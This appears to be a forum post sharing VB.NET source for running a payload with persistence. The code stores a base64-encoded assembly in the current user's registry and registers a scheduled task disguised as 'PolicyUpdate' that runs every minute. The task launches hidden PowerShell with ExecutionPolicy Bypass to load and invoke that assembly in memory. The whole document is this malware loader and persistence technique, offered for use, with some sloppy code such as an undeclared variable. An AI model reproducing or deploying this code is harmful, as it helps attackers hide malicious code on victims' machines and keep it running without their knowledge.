[SOURCE] VB.NET. Ejecutar Payload C/persistencia usando PowerShell + Tasks

Public Class Program
    Public Shared Sub Main()
        Dim Payload As String = Nothing
        Try
            'Convierto recurso a B64
            PYLDSTR= Convert.ToBase64String(My.Resources.PYLD)
        Catch ex As Exception
        End Try
        Try
            'Guardamos en el registro para luego levantarlo
            Microsoft.Win32.Registry.CurrentUser.CreateSubKey("Software\PYLDAPP").SetValue("PYLD", PYLDSTR)
        Catch ex As Exception
        End Try
        Dim PS As String = Nothing
        Try
            PS = "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)"
            'guardamos el task como PolicyUpdate
            Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
                .FileName = "schtasks",
                .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
                .CreateNoWindow = True,
                .ErrorDialog = False,
                .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
                })
        Catch ex As Exception
        End Try
    End Sub
End Class

 ''' ----------------------------------------------------------------------------------------------------
    ''' <summary>
    ''' Handles the <see cref="RunPowerShell"/> event of Execute Payload.
    ''' </summary>
    ''' ----------------------------------------------------------------------------------------------------
    ''' <param name="FilePath">
    ''' Path to Payload.
    ''' </param>
    ''' ----------------------------------------------------------------------------------------------------

    Public Sub RunPowerShell(ByVal FilePath As String)
        On Error Resume Next

        Dim Payload As String = String.Empty

        Dim PS As String =
<a><![CDATA[powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -Command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((Get-ItemProperty HKCU:\Software\PYLDAPP\).PYLD)).EntryPoint.Invoke($Null,$Null)]]></a>.Value
        
        Dim PYLDSTR As String = ConvertFileToBase64(FilePath)

        CreateSubKey("Software\PYLDAPP", "PYLD", PYLDSTR)
        Diagnostics.Process.Start(New Diagnostics.ProcessStartInfo() With {
            .FileName = "schtasks",
            .Arguments = "/create /sc minute /mo 1 /tn PolicyUpdate /tr " & """" & PS & """",
            .CreateNoWindow = True,
            .ErrorDialog = False,
            .WindowStyle = Diagnostics.ProcessWindowStyle.Hidden
            })
    End Sub

    Public Sub CreateSubKey(ByVal Key As String, ByVal ValueName As String, _
                             ByVal Value As String)
        Microsoft.Win32.Registry.CurrentUser.CreateSubKey(Key).SetValue(ValueName, Value)
    End Sub

    Public Function ConvertFileToBase64(ByVal fileName As String) As String
        Return Convert.ToBase64String(System.IO.File.ReadAllBytes(fileName))
    End Function